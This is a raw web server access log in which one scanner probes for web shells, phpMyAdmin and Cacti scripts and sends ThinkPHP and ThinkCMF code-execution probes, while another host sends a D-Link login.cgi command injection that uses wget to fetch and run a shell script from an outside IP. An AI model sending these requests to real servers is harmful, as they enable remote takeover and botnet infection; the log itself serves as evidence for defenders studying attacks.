61.19.71.84 - - [29/Feb/2020:20:38:19 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:20 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:20 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
49.68.246.198 - - [29/Feb/2020:20:38:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
61.19.71.84 - - [29/Feb/2020:20:38:20 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:20 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:20 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:21 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:21 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:21 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:21 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:22 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:22 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:22 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:22 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:22 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:23 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:23 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:23 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:23 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:24 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:24 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:24 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:24 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:24 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:25 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:25 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:25 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:25 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:26 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:26 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:26 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:26 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:26 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:27 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:27 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:27 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:27 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:28 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:28 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:28 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:28 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:28 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:29 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:29 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:29 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:29 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:30 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:30 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:30 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:30 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:30 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:31 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:31 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:31 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:32 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:32 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:32 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:32 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:33 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:33 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:33 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:33 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:33 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:34 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:34 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:34 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:34 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:35 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:35 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:35 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:35 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:35 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:36 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:36 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:36 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:36 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:37 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:37 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:37 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:37 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:37 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:38 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:38 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:38 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:38 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:39 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:39 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:39 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:39 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:39 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:40 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:40 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:40 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:41 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:41 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:41 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:41 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:41 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
61.19.71.84 - - [29/Feb/2020:20:38:42 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
